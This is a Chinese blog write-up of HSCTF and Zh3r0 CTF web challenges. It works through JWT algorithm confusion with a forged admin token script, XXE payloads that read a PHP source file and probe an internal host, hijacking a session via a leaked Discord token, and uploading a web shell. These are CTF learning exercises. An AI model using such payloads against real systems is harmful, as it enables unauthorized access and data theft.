zh3r0ctf_and_hsctf

HSCTF

全称是 high school catch the flag

web

Debt Simulator

这题不知道要做什么,当然也不知道该怎么做 问问其他人有没有想法

nice 做出来了

<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
  <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
  <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" />
  <link rel="manifest" href="/site.webmanifest" />
  <link href="https://fonts.googleapis.com/css2?family=Merriweather&family=Raleway:wght@800&display=swap" rel="stylesheet" />
  <title>Debt :))</title>
  <link href="/static/css/main.6279183e.chunk.css" rel="stylesheet" />
 </head>
 <body>
  <noscript>
   You need to enable JavaScript to run this app.
  </noscript>
  <div id="root"></div>
  <script>!function(e){function t(t){for(var n,l,i=t[0],a=t[1],f=t[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,i=1;i<r.length;i++){var a=r[i];0!==o[a]&&(n=!1)}n&&(u.splice(t--,1),e=l(l.s=r[0]))}return e}var n={},o={1:0},u=[];function l(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,l),r.l=!0,r.exports}l.m=e,l.c=n,l.d=function(e,t,r){l.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,t){if(1&t&&(e=l(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(l.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)l.d(r,n,function(t){return e[t]}.bind(null,n));return r},l.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(t,"a",t),t},l.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},l.p="/";var i=this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[],a=i.push.bind(i);i.push=t,i=i.slice();for(var f=0;f<i.length;f++)t(i[f]);var p=a;r()}([])</script>
  <script src="/static/js/2.f3855285.chunk.js"></script>
  <script src="/static/js/main.1b8f0187.chunk.js"></script>
 </body>
</html>

参考:

https://www.secpulse.com/archives/96416.html

查看SOURCE:

image-20200605013203592

app.js

import React, { useState, useEffect } from 'react';
import Header from "./Header";
import Main from './Main';
import Message from './Message';
import Button from "./Button";
import "./App.css";

function App() {
  const [message, setMessage] = useState("Ready to Play?");
  const [runningTotal, setRunningTotal] = useState(0);
  const [buttonText, setButtonText] = useState("Start Game");

  useEffect(() => {
    if (runningTotal < -1000) {
      setMessage("You lost. You have less than $-1000. Better luck next time.");
      setButtonText("Play Again");
    } else if (runningTotal > 2000) {
      setMessage("You won. You have more than $2000. Try your luck again?");
      setButtonText("Play Again");
    } else if (runningTotal !== 0 && buttonText !== "Next Round") {
      setButtonText("Next Round");
    }
  });

  const onClick = () => {
    const isGetCost = Math.random() > 0.4 ? true : false;
    const func = isGetCost ? 'getCost' : 'getPay';
    const requestOptions = {
      method: 'POST',
      body: 'function=' + func,
      headers: { 'Content-type': 'application/x-www-form-urlencoded' }
    }

    fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001", requestOptions)
    .then(res => res.json())
    .then(data => {
      data = data.response;
      if (buttonText === "Play Again" || buttonText === "Start Game") {
        setButtonText("Next Round");
        setRunningTotal(0);
      }
      setMessage("You have " + (isGetCost ? "paid me " : "received ") + "$" + data + ".");
      setRunningTotal(runningTotal => isGetCost ? runningTotal - data : runningTotal + data);
    });
  }

  return <div className="App">
    <Header />
    <Message message={message}/>
    <Main content={runningTotal}/>
    <Button onClick={onClick} text={buttonText}/>
  </div>;
}

export default App;

继续访问https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001

{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}

存在三个function

根据app.js和"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]

以POST方式传function=getgetgetgetgetgetgetgetgetFlag

NICE 得到flag

image-20200605013632866

Broken Tokens

参考连接:

https://www.jianshu.com/p/44d88abb9515

源代码阅读

import jwt
import base64
import os
import hashlib  # hash的库?
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG") #该方法,用于获取全局变量。
PASSWORD = os.getenv("PASSWORD")
# 读取私钥和密钥
with open("privatekey.pem", "r") as f:
    PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == "POST":
        resp = make_response(redirect("/")) # redirect 跳转  make_response 响应
        if request.form["action"] == "Login":
            if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
                auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
            else:
                auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
            resp.set_cookie("auth", auth)
        else:
            resp.delete_cookie("auth")
        # 所以必须是POST,才能拿到JWT
        return resp
    else:
        auth = request.cookies.get("auth")
        if auth is None: # cookie为空的情况下,logged_in 和 admin 为false
            logged_in = False
            admin = False
        else:
            logged_in = True
            admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
        resp = make_response(
            render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
        )
    return resp
# 这个路由器用来下载 publickey.pem
@app.route("/publickey.pem")
def public_key():
    with open("./publickey.pem", "r") as f:
        resp = make_response(f.read())
        resp.mimetype = 'text/plain'
        return resp

if __name__ == "__main__":
    app.run()

突破点

admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"

基本理解 用PUBLIC_KEY去解JWT,而不是 PRIVATE_KEY,同时admin 之后的取值域为true,false,所以完全可以用公钥来加密得到 JWT

JWT 常见考点之一,xz上前辈有整理

>>> a = 1
>>> b = 2
>>> c = a == b
>>> c
False
  • 首先获取JWT

image-20200602025653457

auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw

晚上的网速太感人了,jwt.io开vpn还这么慢

  • 公钥
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtnREuAwK7M/jWZdSVNfN
4m+kX0rqakI6KIR/qzT/Fv7hfC5vg9UJgEaAGOfexmoDMBYTLRSHnQ9EYjF6bkCh
w+NVQCqsvy9psZVnjUHQ6QfVUdyrUcsOuRoMMaEBYp+qCegDY5Vp65Wzk05qXfvK
LJK9apOo0pPgD7fdOhpqwzejxgWxUgYvMqkGQS2aCC51ePvC6edkStNxovoDFvXk
uG69/7jEqs2k2pk5mI66MR+2U46ub8hPUk7WA6zTGHhIMuxny+7ivxYIXCqEbZGV
YhOuubXfAPrVN2UpL4YBvtfmHZMmjp2j39PEqxXU70kTk96xq3WhnYm46HhciyIz
zQIDAQAB
-----END PUBLIC KEY-----

在线网站: https://www.ssleye.com/pub_asysi.html

image-20200602031229944

环境问题?

import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect

with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()

auth = jwt.encode({"auth": "admin"}, PUBLIC_KEY, algorithm="HS256")

print(auth)

ERROR:
The specified key is an asymmetric key or x509 certificate and’
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret

RESOLVE:

https://www.anquanke.com/post/id/145540

我的方法是:

image-20200605003920379

直接将这句删了

import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect

with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()

auth = jwt.encode({"auth": "admin"}, PUBLIC_KEY, algorithm="HS256")

print(auth)
#auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

image-20200605004136900

Very Safe Login

看源代码就行

Traffic Lights W

感觉是xxe

emmm 就是xxe

1001 中的XML文件 

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
  <content>Red</content>
</root>
  • test
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [       
<!ENTITY content 'hava a xxe'>  
]>  
<root>
  <content>&content;</content>
</root>

image-20200605015924196

firmware_upload.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [

<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=firmware_upload.php">  
]>  
<root>
  <content>&content;</content>
</root>
<!doctype html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <title>Firmware Upload</title>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous">
  <link href="dashboard.css" rel="stylesheet">
</head>

<body>
  <nav class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0">
    <a class="navbar-brand col-md-3 col-lg-2 mr-0 px-3" href="/">Shady Traffic Light Company</a>
  </nav>

  <div class="container">
    <div class="h-100 d-flex justify-content-center align-items-center border-bottom">
      <div>
        <br><br><br>
<?php
if(isset($_GET["light"])) {
  $light = $_GET["light"];
  if ($light === "1001") {
    echo "<h1 class='h2'>{$light}</h1>";
    echo '<form action="/firmware_upload.php" method="GET"> <div class="form-group"> <label for="xml">Upload your XML firmware.<br>Example: <a href="example"><code>example</code></a></label> <textarea class="form-control" id="xml" name="xml" rows="8"></textarea><br><button type="submit" class="btn btn-primary btn-block">Submit</button></div> </form>';
  }
  else if ($light === "1004") {
    echo "<h1 class='h2'>{$light}</h1>";
    echo "<h1 class=\"h2\">Error: High CPU Usage</h1>";
  }
  else {
    echo "<h1 class=\"h2\">Error: Not active</h1>";
  }
}
?>

<?php
if (isset($_GET["xml"])) {
  libxml_disable_entity_loader (false);

  $xml = strlen($_GET["xml"]) > 0 ? $_GET["xml"] : "Firmware Update Failed";

  $document = new DOMDocument();
  $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
  $parsed = simplexml_import_dom($document);

  echo $parsed->content;
}
?>

</div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script>
</body>

</html>

但是谁能告诉我flag地址

作者说不是在那台VPS上

行吧 😛

image-20200605180619549

根据TABEL进行内网探测

host 状态
traffic-light-1001 fales
traffic-light-1004 true
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [

<!ENTITY content SYSTEM "http://traffic-light-1004">  
]>  
<root>
  <content>&content;</content>
</root>

image-20200605180119210


Zh3r0

web

Tokens

Descriptions:

The flag was sent by Mr.4N0NYM4U5 to my victim. But i dont have the username and password of the victim to login into the discord account. The only thing i have is a god damn token. Can you help me to get the flag. Ill give you the token and it is all you need. Token : NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU

Author : Mr.4N0NYM4U5

NzIyMzM1MTQ5NDA0MTkyODIw.Xuhmgw.SZfbikLok4FRqbHQY4L3htLcTaU

get the token

参考连接:

https://www.youtube.com/watch?v=xuB1WQVM3R8

https://www.youtube.com/watch?v=vVEUG5JZgO8

按着视频来就行。

image-20200617133519153

Google Source code

Descriptions:

Chall Link : http://web.zh3r0.ml:7777/
you dont get anything free except the source code. Try to search it and also I never liked to upload my homework in google classroom. Help me hack this website please 🙂

Author : Finch

image-20200617134645134

  • your work
https://www.youtube.com/watch?v=oHg5SJYRHA0
  • classroom
https://classroom.google.com/
  • http://web.zh3r0.ml:7777/robots.txt

这是扫描路径的结果,就一个

DUMB: this is not a good place the flag is the flag :P

hint

image-20200617150416171

后来仔细研究了一下hint,觉得应该是get请求page页面

如:http://web.zh3r0.ml:7777/?page=10000

之后bp抓包,开始爆破page页数。慢慢等吧,网速太卡了

不好意思,鄙人傻逼了。。。。。

http://web.zh3r0.ml:7777/?page=flag

page = flag

得到提示upload 视频内容好像是黑镜 上传预告片

page = upload

image-20200617194023583

上传的时候,发现会定期删除文件,直接fuzz就行

image-20200617193837007

蚁剑连接

![批注 2020-06-17 185024](http://img.xzaslxr.xyz/img/批注 2020-06-17 185024.jpg)

我让队友找才找到的(自己非酋注定),这问价夹我吐了

image-20200617193438689

吐槽一句,找flag弄得这么复杂。。。有意义吗

还有队友别抢flag了 555

Afterword

下一步计划刷hackthebox、整理内网渗透和工具使用手册。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇